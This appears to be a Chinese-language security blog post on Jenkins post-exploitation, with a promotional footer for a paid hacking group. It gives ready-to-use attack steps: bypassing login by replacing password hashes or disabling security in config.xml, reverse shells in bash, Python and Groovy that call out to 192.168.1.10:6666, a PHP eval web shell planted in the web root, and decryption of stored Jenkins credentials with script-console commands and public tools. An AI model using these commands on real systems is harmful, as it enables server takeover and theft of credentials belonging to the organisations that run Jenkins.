浅谈jenkins后渗透 | 干货
2023-12-30 23:17:0 Author: 渗透安全团队(查看原文) 阅读量:27 收藏

何为jenkins

jenkins是一个自动化服务器,支持开发者在软件开发过程中自动化各种任务,如构建、测试和部署应用程序,里面会存放一些账号密码,例如

1.登录到服务器、数据库(SQL Server、MySQL、PostgreSQL)、容器平台(Docker)或云服务(AWS、Azure)的账号和密码

2.Git、Subversion 等版本控制系统的账号和密码或访问令牌

3.邮件服务器、Slack、或其他通信平台的登录凭据

安装jenkins

docker pull jenkinsci/blueocean

mkdir -p /usr/local/jenkins

chmod 777 /usr/local/jenkins

docker run -d -p 8099:8080 -p 50099:50000 -v /usr/local/jenkins:/var/jenkins_home --name myjenkins jenkinsci/blueocean

docker ps

 docker exec -it 1db /bin/bash

 cat /var/jenkins_home/secrets/initialAdminPassword

访问8099端口把密钥粘贴进去

安装以后创建账号,登录

替换用户hash登录

在/usr/local/jenkins/users目录

把下图里的密码改为如下(对应密码abc-123)

<passwordHash>#jbcrypt:$2a$10$PerJswtfjaa6ukA1t0K/ueUK5CI3rjA1.XUx4wCQt88dhihfxObBW</passwordHash>

重启jenkins然后登录,利用完在改回来

admin密码目录jenkins/users/admin,操作和替换的字符串同上

jenkins目录下有个config.xml文件,如下图的三个地方改为如下

  • 将 <useSecurity> 设置为 false,

  • 设置为 class="hudson.security.AuthorizationStrategy$Unsecured"
  • 将 

    设置为 class="hudson.security.SecurityRealm$None"

重启该容器

再访问发现不用登录就可访问

getshell手法

1.创建一个任务,如下图配置

#!/bin/bash# ... 其他脚本内容 .../bin/bash -i >& /dev/tcp/192.168.1.10/6666 0>&1

立即构建,弹回来了

2.安装Terminal Plugin

3.wget下载py脚本然后执行,此办法不需要root权限

def pythonScript = """import socket, subprocess, oss=socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(("192.168.1.10", 6666))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)subprocess.call(["/bin/sh", "-i"])

4.脚本命令行

// 创建两个 StringBuffer 对象来收集标准输出和标准错误流的内容def sout = new StringBuffer(), serr = new StringBuffer()
// 将[INSERT COMMAND]'替换为要执行的系统命令// '.execute()' 方法会在操作系统层面执行这个命令def proc = '/bin/bash -i >& /dev/tcp/192.168.1.10/6666 0>&1'.execute()
// 'consumeProcessOutput' 方法将命令的标准输出和错误输出重定向到前面创建的 StringBuffer 对象中proc.consumeProcessOutput(sout, serr)
// 'waitForOrKill(1000)' 会等待进程执行完毕,或者在 1000 毫秒(1 秒)后杀死进程proc.waitForOrKill(1000)
// 打印出标准输出和错误println "out> $sout err> $serr"

5.网站存在web php服务

new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');
def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/media.php").write("$webshell");

解密jenkins密码

1.${JENKINS_HOME}/credentials.xml里会存放用于不同任务和插件的加密凭据数据,可能包括用户名和密码、SSH 私钥、秘密文本、API 令牌,形如如下格式

<passphrase>{AAAAAAAAAAAANzxft/rDzyt8mhxpn3O72dxvVqZksL5vBJ4jNKvAjAA=}</passphrase>

使用 hudson.util.Secret.fromString("明文密码").getEncryptedValue() 加密

文件地址

$JENKINS_HOME/credentials.xml $JENKINS_HOME/secrets/master.key$JENKINS_HOME/secrets/hudson.util.Secret$JENKINS_HOME/jobs/example-folder/config.xml

单个票据解密,先管理员登录,然后在/script里解密

println(hudson.util.Secret.decrypt("{XXX=}"))

抑或

println(hudson.util.Secret.decrypt("{XXX=}"))

或者工具

 https://github.com/hoto/jenkins-credentials-decryptor 

命令

./jenkins-credentials-decryptor \  -m $JENKINS_HOME/secrets/master.key \  -s $JENKINS_HOME/secrets/hudson.util.Secret \  -c $JENKINS_HOME/credentials.xml \  -o json

2.如果用publish_over_ssh插件,密码会存放与

${JENKINS_HOME}/jenkins.plugins.publish_over_ssh.BapSshPublisherPlugin.xml 

解密工具

https://github.com/rabbitmask/Jenkins_Credentials_Crack


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247513512&idx=1&sn=a41ed0aef7d00fccf30abf7f71986197&chksm=c00f8264e94d904c9e7843dd86756a1a6630200d185496cea3043bb130c1bb94d5fd6dcc67fa&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh